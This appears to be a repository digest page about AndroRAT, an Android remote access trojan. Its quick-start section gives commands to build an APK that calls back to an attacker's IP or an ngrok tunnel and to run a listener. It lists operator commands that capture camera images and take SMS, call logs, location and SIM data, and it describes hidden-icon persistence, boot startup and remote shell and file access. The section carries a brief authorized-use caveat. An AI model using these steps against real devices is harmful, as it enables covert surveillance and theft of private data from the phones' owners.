karma9874/AndroRAT

What it does

AndroRAT is a client/server remote administration tool for Android. The Android side is a Java app that connects back to a Python server over sockets; the server can build an APK, listen for connections, and expose an interactive interpreter for device information, camera and microphone capture, SMS and call-log retrieval, location, shell access and file transfer (2)(10).

The project targets educational use and ships as source: an Android Studio project plus a Python control script (3)(24).

Quick start

Requirements are Python 3 and Java or Android Studio. Clone the repository and install the Python dependencies:

git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt

Build an APK pointing at your listener. With a direct IP and port:

python3 androRAT.py --build -i <attacker-ip> -p <attacker-port> -o <output-name>.apk

Or use an ngrok tunnel:

python3 androRAT.py --build --ngrok -o <output-name>.apk

Then start the interpreter:

python3 androRAT.py --shell -i 0.0.0.0 -p <listener-port>

Once a client connects, the shell accepts commands such as deviceInfo, takepic [cameraID], getSMS [inbox|sent], getCallLogs, getLocation, getSimDetails and getMACAddress; entering shell opens a device sh session with get [full_file_path] and put [filename] for file transfer (27)(28).

Alternatively, import the Android project into Android Studio, set the IP and port in config.java, and generate a signed APK from the build menu (23)(25).

Constraints

• The stated supported range is Android 4.1 through 9.0 (API 16–28); Android 10 works with some unstable interpreter commands (10).
• On Windows, cloning may fail with a long-filename error; enabling core.longpaths requires an administrator Git Bash session (18).
• The on-device control panel is opened by dialing *#*#1337#*#*; on some devices this needs background pop-up permission enabled (19).
• Installing the generated APK grants the client access to cameras, microphone, SMS, call logs, location, SIM details and shell commands. Only use it on devices you own or are explicitly authorized to test.
• The project is MIT licensed (33).

HotRepo's take

The repository appears in HotRepo's Java daily list on 2026-11-07 at position 6, with 5 stars gained in that snapshot and 5,275 stars overall. The persistent backdoor features, hidden icon and boot startup described in the README make the tool one that should be handled only in an isolated, consenting test environment rather than as a general-purpose utility.